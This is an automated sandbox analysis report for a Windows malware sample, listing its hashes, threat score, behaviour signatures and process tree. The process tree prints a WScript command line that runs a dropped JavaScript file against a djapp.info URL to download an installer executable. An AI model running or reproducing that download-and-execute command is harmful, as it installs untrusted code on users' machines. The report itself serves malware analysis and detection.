Analysis

  • max time kernel
    134s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/05/2024, 20:52

General

  • Target

    21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    21ae26a9cddd6a91b1fd53eed9ff3dcb

  • SHA1

    86986c72ec1f2b23c08b2ab54e67eceb3ab72d93

  • SHA256

    e4e59804853999813b55545f0ddb60394f9b02704484f289399ae88b12f3e1ae

  • SHA512

    32e1b16c66953b4cc7f17f99e83fd7aceb35d367904c807e8de5f12a58e9053614f3b6ac943afcc2ec949dd47908fc352be58f7db4caf3c2668ed20cac314ed2

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO31:/7BSH8zUB+nGESaaRvoB7FJNndnw

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\21ae26a9cddd6a91b1fd53eed9ff3dcb_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3976
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=KZjulqEiEq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe
      2⤵
      • Blocklisted process makes network request
      PID:4436
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=KZjulqEiEq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe
      2⤵
      • Blocklisted process makes network request
      PID:4352
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=KZjulqEiEq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe
      2⤵
      • Blocklisted process makes network request
      PID:4312
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=KZjulqEiEq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe
      2⤵
      • Blocklisted process makes network request
      PID:2088
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=KZjulqEiEq.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe
      2⤵
      • Blocklisted process makes network request
      PID:3760
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3976 -s 1476
      2⤵
      • Program crash
      PID:2648
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3976 -ip 3976
    1⤵
      PID:1856

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js

      Filesize

      3KB

      MD5

      3813cab188d1de6f92f8b82c2059991b

      SHA1

      4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

      SHA256

      a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

      SHA512

      83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76